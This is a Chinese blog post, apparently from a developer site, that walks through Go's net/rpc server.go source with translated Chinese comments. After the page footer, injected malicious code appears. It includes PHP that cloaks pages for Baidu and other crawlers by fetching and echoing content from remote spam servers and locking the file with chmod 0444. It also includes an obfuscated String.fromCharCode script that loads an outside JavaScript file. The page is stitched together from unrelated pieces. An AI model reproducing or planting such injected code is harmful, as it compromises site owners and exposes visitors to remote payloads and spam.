Go net/PRC源码阅读server.go

Server端

本篇文章主要是在Go net/rpc 的server.go包进行翻译,并添加注释之后会对client以及server进行总结,废话不多说 直接贴代码了。有不正确的地方还请多多指正。

package rpc

import (
    "bufio"
    "encoding/gob"
    "errors"
    "io"
    "log"
    "net"
    "net/http"
    "reflect"
    "strings"
    "sync"
    "unicode"
    "unicode/utf8"
)

const (
    // Defaults used by HandleHTTP
    // 默认使用的HandleHTTP
    DefaultRPCPath   = "/_goRPC_"
    DefaultDebugPath = "/debug/rpc"
)

// Precompute the reflect type for error. Can't use error directly
// because Typeof takes an empty interface value. This is annoying.
// 反射获取error的类型,不能直接使用因为Typeof需要一个空的interface值。
var typeOfError = reflect.TypeOf((*error)(nil)).Elem()

type methodType struct {
    sync.Mutex // protects counters 互斥锁
    method     reflect.Method
    ArgType    reflect.Type
    ReplyType  reflect.Type
    numCalls   uint
}

type service struct {
    name   string                 // name of service 服务名
    rcvr   reflect.Value          // receiver of methods for the service 服务方法的接收者
    typ    reflect.Type           // type of the receiver 接收者的类型
    method map[string]*methodType // registered methods 注册方法
}

// Request is a header written before every RPC call. It is used internally
// but documented here as an aid to debugging, such as when analyzing network traffic.
// 每次RCP请求调用之前写头。
// 它在内部使用但是在这里记录来帮助调试,就像分析网络信息。
type Request struct {
    ServiceMethod string   // format: "Service.Method" 格式化服务端的方法
    Seq           uint64   // sequence number chosen by client 客户端选择的序号
    next          *Request // for free list in Server  服务端的空闲列表
}

// Response is a header written before every RPC return. It is used internally
// but documented here as an aid to debugging, such as when analyzing
// network traffic.
// 每次RCP返回之前写头。
// 它在内部使用但是在这里记录来帮助调试,就像分析网络信息。
type Response struct {
    ServiceMethod string    // echoes that of the Request 请求的响应
    Seq           uint64    // echoes that of the request 请求的响应
    Error         string    // error, if any.             任何错误
    next          *Response // for free list in Server    服务端的空闲列表
}

// Server represents an RPC Server.
// 一个RPC服务的结构体
type Server struct {
    mu         sync.RWMutex // protects the serviceMap 互斥锁,保护serviceMap
    serviceMap map[string]*service
    reqLock    sync.Mutex // protects freeReq 互斥锁保护freeReq
    freeReq    *Request
    respLock   sync.Mutex // protects freeResp 互斥锁保护freeResp
    freeResp   *Response
}

// NewServer returns a new Server.
// NewServer返回一个新的Server
func NewServer() *Server {
    return &Server{serviceMap: make(map[string]*service)}
}

// DefaultServer is the default instance of *Server.
// 一个默认的*Server的实例
var DefaultServer = NewServer()

// Is this an exported - upper case - name?
// name是否为大写
func isExported(name string) bool {
    rune, _ := utf8.DecodeRuneInString(name)
    return unicode.IsUpper(rune)
}

// Is this type exported or a builtin?
// 这个类型是导出的 还是内置的
func isExportedOrBuiltinType(t reflect.Type) bool {
    for t.Kind() == reflect.Ptr {
        t = t.Elem()
    }
    // PkgPath will be non-empty even for an exported type,
    // so we need to check the type name as well.
    // PkgPath即使为导出类型也不会为空,所以我们最好检查类型名
    return isExported(t.Name()) || t.PkgPath() == ""
}

// Register publishes in the server the set of methods of the
// receiver value that satisfy the following conditions:
//  - exported method of exported type
//  - two arguments, both of exported type
//  - the second argument is a pointer
//  - one return value, of type error
// It returns an error if the receiver is not an exported type or has
// no suitable methods. It also logs the error using package log.
// The client accesses each method using a string of the form "Type.Method",
// where Type is the receiver's concrete type.
/*
    在服务器上注册并发布的一系列方法,需要满足以下条件:
    1 导出的方法和导出的类别
    2 两个参数都是导出类别
    3 第二个参数是一个指针
    4 一个返回值,类型错误
    如果接收者不是一个导出的类型或者没有合适的方法将返回一个错误。
    它也会使用package log书写错误日志。客户端使用"Type.Method"字符串访问每个方法,
    类型是接收者的具体类型。
*/
func (server *Server) Register(rcvr interface{}) error {
    return server.register(rcvr, "", false)
}

// RegisterName is like Register but uses the provided name for the type
// instead of the receiver's concrete type.
// RegisterName与Register类似,但是使用传入的名字作为类型,代替接收者的具体类型
func (server *Server) RegisterName(name string, rcvr interface{}) error {
    return server.register(rcvr, name, true)
}

func (server *Server) register(rcvr interface{}, name string, useName bool) error {
    server.mu.Lock()
    defer server.mu.Unlock()
    if server.serviceMap == nil {
        server.serviceMap = make(map[string]*service)
    }
    s := new(service)
    s.typ = reflect.TypeOf(rcvr)    // 导出的类别
    s.rcvr = reflect.ValueOf(rcvr)  // 导出的方法
    sname := reflect.Indirect(s.rcvr).Type().Name()
    if useName {
        sname = name
    }
    if sname == "" {
        s := "rpc.Register: no service name for type " + s.typ.String()
        log.Print(s)
        return errors.New(s)
    }
    if !isExported(sname) && !useName {
        s := "rpc.Register: type " + sname + " is not exported"
        log.Print(s)
        return errors.New(s)
    }
    if _, present := server.serviceMap[sname]; present {
        return errors.New("rpc: service already defined: " + sname)
    }
    s.name = sname

    // Install the methods 安装方法,返回一个类型匹配的方法
    s.method = suitableMethods(s.typ, true)

    if len(s.method) == 0 {
        str := ""

        // To help the user, see if a pointer receiver would work.
        // 查看一个指针接收者是否正常工作
        method := suitableMethods(reflect.PtrTo(s.typ), false)
        if len(method) != 0 {
            str = "rpc.Register: type " + sname + " has no exported methods of suitable type (hint: pass a pointer to value of that type)"
        } else {
            str = "rpc.Register: type " + sname + " has no exported methods of suitable type"
        }
        log.Print(str)
        return errors.New(str)
    }
    server.serviceMap[s.name] = s
    return nil
}

// suitableMethods returns suitable Rpc methods of typ, it will report
// error using log if reportErr is true.
// suitableMethods返回一个适当类型的Rpc方法,如果reportErr为true打印日志
func suitableMethods(typ reflect.Type, reportErr bool) map[string]*methodType {
    methods := make(map[string]*methodType) //方法类别的结构体
    for m := 0; m < typ.NumMethod(); m++ {  // 小于方法集中的数量
        method := typ.Method(m) // 返回的方法的类型字段给出方法签名
        mtype := method.Type
        mname := method.Name
        // Method must be exported. 方法必须为导出的
        if method.PkgPath != "" {
            continue
        }
        // Method needs three ins: receiver, *args, *reply.
        // 方法需要3个值,接收者,参数指针,返回指针
        if mtype.NumIn() != 3 {
            if reportErr {
                log.Println("method", mname, "has wrong number of ins:", mtype.NumIn())
            }
            continue
        }
        // First arg need not be a pointer.
        // 第一参数必须不为指针
        argType := mtype.In(1)
        if !isExportedOrBuiltinType(argType) {  //是否为导出类型或者内建类型
            if reportErr {
                log.Println(mname, "argument type not exported:", argType)
            }
            continue
        }
        // Second arg must be a pointer.
        // 第二个参数必须是一个指针
        replyType := mtype.In(2)
        if replyType.Kind() != reflect.Ptr {  // 返回具体的种类
            if reportErr {
                log.Println("method", mname, "reply type not a pointer:", replyType)
            }
            continue
        }
        // Reply type must be exported.
        // 返回类型必须为导出的
        if !isExportedOrBuiltinType(replyType) {
            if reportErr {
                log.Println("method", mname, "reply type not exported:", replyType)
            }
            continue
        }
        // Method needs one out. 需要一个方法
        if mtype.NumOut() != 1 {  // NumOut返回一个函数类型的输出参数计数
            if reportErr {
                log.Println("method", mname, "has wrong number of outs:", mtype.NumOut())
            }
            continue
        }
        // The return type of the method must be error.
        // 该方法的返回类型必须是错误的
        if returnType := mtype.Out(0); returnType != typeOfError {
            if reportErr {
                log.Println("method", mname, "returns", returnType.String(), "not error")
            }
            continue
        }
        methods[mname] = &methodType{method: method, ArgType: argType, ReplyType: replyType}
    }
    return methods
}

// A value sent as a placeholder for the server's response value when the server
// receives an invalid request. It is never decoded by the client since the Response
// contains an error when it is used.
// 当服务器收到无效的请求时服务端返回一个值做为占位符。它永远不会被客户端解码,直到它被使用响应包含一个错误
var invalidRequest = struct{}{}

func (server *Server) sendResponse(sending *sync.Mutex, req *Request, reply interface{}, codec ServerCodec, errmsg string) {
    resp := server.getResponse()
    // Encode the response header 编码响应头
    resp.ServiceMethod = req.ServiceMethod   //RPC服务的结构体
    if errmsg != "" {
        resp.Error = errmsg
        reply = invalidRequest
    }
    resp.Seq = req.Seq
    sending.Lock()
    err := codec.WriteResponse(resp, reply)  //WriteResponse并发安全的
    if debugLog && err != nil {
        log.Println("rpc: writing response:", err)
    }
    sending.Unlock()
    server.freeResponse(resp)  
}

func (m *methodType) NumCalls() (n uint) {
    m.Lock()
    n = m.numCalls
    m.Unlock()
    return n
}

func (s *service) call(server *Server, sending *sync.Mutex, mtype *methodType, req *Request, argv, replyv reflect.Value, codec ServerCodec) {
    mtype.Lock()
    mtype.numCalls++
    mtype.Unlock()
    function := mtype.method.Func
    // Invoke the method, providing a new value for the reply.
    // 调用这个方法,为返回一个新值
    returnValues := function.Call([]reflect.Value{s.rcvr, argv, replyv})
    // The return value for the method is an error.
    // 这个方法的返回值是一个错误
    errInter := returnValues[0].Interface()
    errmsg := ""
    if errInter != nil {
        errmsg = errInter.(error).Error()
    }
    server.sendResponse(sending, req, replyv.Interface(), codec, errmsg)
    server.freeRequest(req) // 释放
}

type gobServerCodec struct {
    rwc    io.ReadWriteCloser
    dec    *gob.Decoder   // 解码
    enc    *gob.Encoder   // 编码
    encBuf *bufio.Writer
    closed bool
}

func (c *gobServerCodec) ReadRequestHeader(r *Request) error {
    return c.dec.Decode(r)
}

func (c *gobServerCodec) ReadRequestBody(body interface{}) error {
    return c.dec.Decode(body)
}

func (c *gobServerCodec) WriteResponse(r *Response, body interface{}) (err error) {
    if err = c.enc.Encode(r); err != nil {
        if c.encBuf.Flush() == nil {
            // Gob couldn't encode the header. Should not happen, so if it does,
            // shut down the connection to signal that the connection is broken.
            // Gob不能编码头.不会发生,如果发生了,关闭连接表明连接损坏。
            log.Println("rpc: gob error encoding response:", err)
            c.Close()
        }
        return
    }
    if err = c.enc.Encode(body); err != nil {
        if c.encBuf.Flush() == nil {
            // Was a gob problem encoding the body but the header has been written.
            // Shut down the connection to signal that the connection is broken.
            // 这是一个gob的问题编码了body但是已经写了头
            // 关闭连接表明连接损坏。
            log.Println("rpc: gob error encoding body:", err)
            c.Close()
        }
        return
    }
    return c.encBuf.Flush()
}

func (c *gobServerCodec) Close() error {
    if c.closed {
        // Only call c.rwc.Close once; otherwise the semantics are undefined.
        // 只能调用c.rwc.Close一次。另外的语义未定义
        return nil
    }
    c.closed = true
    return c.rwc.Close()
}

// ServeConn runs the server on a single connection.
// ServeConn blocks, serving the connection until the client hangs up.
// The caller typically invokes ServeConn in a go statement.
// ServeConn uses the gob wire format (see package gob) on the
// connection. To use an alternate codec, use ServeCodec.
// ServeConn运行这个server在一个单独连接。
// ServeConn块,为连接提供服务直到客户端挂起
// 调用者使用go ServeConn调用。
// ServeConn在连接中使用gob包进行写格式化(详见gob包)。使用另一种编码使用ServeCodec。
func (server *Server) ServeConn(conn io.ReadWriteCloser) {
    buf := bufio.NewWriter(conn)
    srv := &gobServerCodec{
        rwc:    conn,
        dec:    gob.NewDecoder(conn),
        enc:    gob.NewEncoder(buf),
        encBuf: buf,
    }
    server.ServeCodec(srv)
}

// ServeCodec is like ServeConn but uses the specified codec to
// decode requests and encode responses.
// ServeCodec与ServeConn相似但是使用指定的编码器来解码请求编码返回。
func (server *Server) ServeCodec(codec ServerCodec) {
    sending := new(sync.Mutex)
    for {
        service, mtype, req, argv, replyv, keepReading, err := server.readRequest(codec)
        if err != nil {
            if debugLog && err != io.EOF {
                log.Println("rpc:", err)
            }
            if !keepReading {
                break
            }
            // send a response if we actually managed to read a header.
            // 如果我们读到了头,发送一个响应
            if req != nil {
                server.sendResponse(sending, req, invalidRequest, codec, err.Error())
                server.freeRequest(req)
            }
            continue
        }
        go service.call(server, sending, mtype, req, argv, replyv, codec)
    }
    codec.Close()
}

// ServeRequest is like ServeCodec but synchronously serves a single request.
// It does not close the codec upon completion.
// ServeRequest就像是ServeCodec但是同步服务的请求。它在完成后不关闭编解码器。
func (server *Server) ServeRequest(codec ServerCodec) error {
    sending := new(sync.Mutex)
    service, mtype, req, argv, replyv, keepReading, err := server.readRequest(codec)
    if err != nil {
        if !keepReading {
            return err
        }
        // send a response if we actually managed to read a header.
        // 如果我们读到了头,发送一个响应
        if req != nil {
            server.sendResponse(sending, req, invalidRequest, codec, err.Error())
            server.freeRequest(req)
        }
        return err
    }
    service.call(server, sending, mtype, req, argv, replyv, codec)
    return nil
}

// 获取空闲列表中的Request
func (server *Server) getRequest() *Request {
    server.reqLock.Lock()
    req := server.freeReq
    if req == nil {
        req = new(Request)
    } else {
        server.freeReq = req.next
        *req = Request{}
    }
    server.reqLock.Unlock()
    return req
}

// 释放
func (server *Server) freeRequest(req *Request) {
    server.reqLock.Lock()
    req.next = server.freeReq
    server.freeReq = req
    server.reqLock.Unlock()
}

// 获取响应的结构体指针
func (server *Server) getResponse() *Response {
    server.respLock.Lock()
    resp := server.freeResp
    if resp == nil {
        resp = new(Response)
    } else {
        server.freeResp = resp.next
        *resp = Response{}
    }
    server.respLock.Unlock()
    return resp
}

// 释放
func (server *Server) freeResponse(resp *Response) {
    server.respLock.Lock()
    resp.next = server.freeResp
    server.freeResp = resp
    server.respLock.Unlock()
}

func (server *Server) readRequest(codec ServerCodec) (service *service, mtype *methodType, req *Request, argv, replyv reflect.Value, keepReading bool, err error) {
    service, mtype, req, keepReading, err = server.readRequestHeader(codec)
    if err != nil {
        if !keepReading {
            return
        }
        // discard body  传入nil迫使放弃body
        codec.ReadRequestBody(nil)
        return
    }

    // Decode the argument value. 解码参数
    argIsValue := false // if true, need to indirect before calling. 如果为真需要调用前间接处理
    if mtype.ArgType.Kind() == reflect.Ptr {
        argv = reflect.New(mtype.ArgType.Elem())  // 返回一个指针类型
    } else {
        argv = reflect.New(mtype.ArgType)
        argIsValue = true
    }
    // argv guaranteed to be a pointer now. 参数保证为指针
    if err = codec.ReadRequestBody(argv.Interface()); err != nil {
        return
    }
    if argIsValue {
        argv = argv.Elem()
    }

    replyv = reflect.New(mtype.ReplyType.Elem())
    return
}

func (server *Server) readRequestHeader(codec ServerCodec) (service *service, mtype *methodType, req *Request, keepReading bool, err error) {
    // Grab the request header. 获取请求头
    req = server.getRequest()
    err = codec.ReadRequestHeader(req)
    if err != nil {
        req = nil
        if err == io.EOF || err == io.ErrUnexpectedEOF {
            return
        }
        err = errors.New("rpc: server cannot decode request: " + err.Error())
        return
    }

    // We read the header successfully. If we see an error now,
    // we can still recover and move on to the next request.
    // 我们成功的读取头,如果我们现在看到了一个错误,我们仍然可以恢复并继续执行下一个请求
    keepReading = true

    dot := strings.LastIndex(req.ServiceMethod, ".")
    if dot < 0 {
        err = errors.New("rpc: service/method request ill-formed: " + req.ServiceMethod)
        return
    }
    serviceName := req.ServiceMethod[:dot]
    methodName := req.ServiceMethod[dot+1:]

    // Look up the request.查找请求
    server.mu.RLock()
    service = server.serviceMap[serviceName]
    server.mu.RUnlock()
    if service == nil {
        err = errors.New("rpc: can't find service " + req.ServiceMethod)
        return
    }
    mtype = service.method[methodName]
    if mtype == nil {
        err = errors.New("rpc: can't find method " + req.ServiceMethod)
    }
    return
}

// Accept accepts connections on the listener and serves requests
// for each incoming connection. Accept blocks until the listener
// returns a non-nil error. The caller typically invokes Accept in a
// go statement.
// Accept接收监听的连接。并为每一个进入的连接提供请求。Accept锁住直到监听返回non-nil错误。
// 调用者使用go语句调用Accept。
func (server *Server) Accept(lis net.Listener) {
    for {
        conn, err := lis.Accept()
        if err != nil {
            log.Print("rpc.Serve: accept:", err.Error())
            return
        }
        go server.ServeConn(conn)
    }
}

// Register publishes the receiver's methods in the DefaultServer.
// Register在DefaultServe发布接收方法
func Register(rcvr interface{}) error { return DefaultServer.Register(rcvr) }

// RegisterName is like Register but uses the provided name for the type
// instead of the receiver's concrete type.
// RegisterName与Register类似但是使用提供的名字作为类型代替接收的具体类型。
func RegisterName(name string, rcvr interface{}) error {
    return DefaultServer.RegisterName(name, rcvr)
}

// A ServerCodec implements reading of RPC requests and writing of
// RPC responses for the server side of an RPC session.
// The server calls ReadRequestHeader and ReadRequestBody in pairs
// to read requests from the connection, and it calls WriteResponse to
// write a response back. The server calls Close when finished with the
// connection. ReadRequestBody may be called with a nil
// argument to force the body of the request to be read and discarded.
/*
    ServerCodec实现了对RPC会话服务器端的RPC请求和编写RPC响应的读取。服务成对的
    调用ReadRequestHeader和ReadRequestBody从链接中读请求,调用WriteResponse讲
    响应写回。当链接结束时服务调用Close。ReadRequestBody可能会传入一个nil以强
    制要求读取和丢弃请求的body
*/
type ServerCodec interface {
    ReadRequestHeader(*Request) error
    ReadRequestBody(interface{}) error
    // WriteResponse must be safe for concurrent use by multiple goroutines.
    // WriteResponse必须是并发安全的
    WriteResponse(*Response, interface{}) error

    Close() error
}

// ServeConn runs the DefaultServer on a single connection.
// ServeConn blocks, serving the connection until the client hangs up.
// The caller typically invokes ServeConn in a go statement.
// ServeConn uses the gob wire format (see package gob) on the
// connection. To use an alternate codec, use ServeCodec.
/*
    ServeConn在一个链接上运行DefaultServer。
    ServeConn锁住,为链接提供服务直到客户端挂起
    调用者使用go语句调用ServeConn。
    ServeConn使用gob包在链接中格式化的写入。
    要使用另一种编码使用ServeCodec
*/
func ServeConn(conn io.ReadWriteCloser) {
    DefaultServer.ServeConn(conn)
}

// ServeCodec is like ServeConn but uses the specified codec to
// decode requests and encode responses.
// ServeCodec与ServeConn类似但是使用指定的编码器来解码请求编码响应
func ServeCodec(codec ServerCodec) {
    DefaultServer.ServeCodec(codec)
}

// ServeRequest is like ServeCodec but synchronously serves a single request.
// It does not close the codec upon completion.
// ServeRequest与ServeCodec相似,但是同步一个服务的请求。它不会再完成时关闭。
func ServeRequest(codec ServerCodec) error {
    return DefaultServer.ServeRequest(codec)
}

// Accept accepts connections on the listener and serves requests
// to DefaultServer for each incoming connection.
// Accept blocks; the caller typically invokes it in a go statement.
/*
    Accept接收监听的连接。并为每一个进入的连接提供请求。Accept锁住;
    调用者使用go语句调用Accept。
*/
func Accept(lis net.Listener) { DefaultServer.Accept(lis) }

// Can connect to RPC service using HTTP CONNECT to rpcPath.
// 连接到RPC服务使用HTTP CONNECT
var connected = "200 Connected to Go RPC"

// ServeHTTP implements an http.Handler that answers RPC requests.
// ServeHTTP执行http.Handler应答RPC请求。
func (server *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
    if req.Method != "CONNECT" {
        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        w.WriteHeader(http.StatusMethodNotAllowed)
        io.WriteString(w, "405 must CONNECT\n")
        return
    }
    conn, _, err := w.(http.Hijacker).Hijack()
    if err != nil {
        log.Print("rpc hijacking ", req.RemoteAddr, ": ", err.Error())
        return
    }
    io.WriteString(conn, "HTTP/1.0 "+connected+"\n\n")
    server.ServeConn(conn)
}

// HandleHTTP registers an HTTP handler for RPC messages on rpcPath,
// and a debugging handler on debugPath.
// It is still necessary to invoke http.Serve(), typically in a go statement.
/*
    HandleHTTP再RPCPath注册一个HTTP handler作为RPC的消息。
  它必须调用http.Serve(),再go语句中调用。
*/
func (server *Server) HandleHTTP(rpcPath, debugPath string) {
    http.Handle(rpcPath, server)
    http.Handle(debugPath, debugHTTP{server})
}

// HandleHTTP registers an HTTP handler for RPC messages to DefaultServer
// on DefaultRPCPath and a debugging handler on DefaultDebugPath.
// It is still necessary to invoke http.Serve(), typically in a go statement.
/*
    HandleHTTP将RPC消息的HTTP处理程序注册到DefaultRPCPath上的DefaultServer和DefaultDebugPath上的调试处理程序。
     它必须调用http.Serve(),再go语句中调用。
*/
func HandleHTTP() {
    DefaultServer.HandleHTTP(DefaultRPCPath, DefaultDebugPath)
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
06-12
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值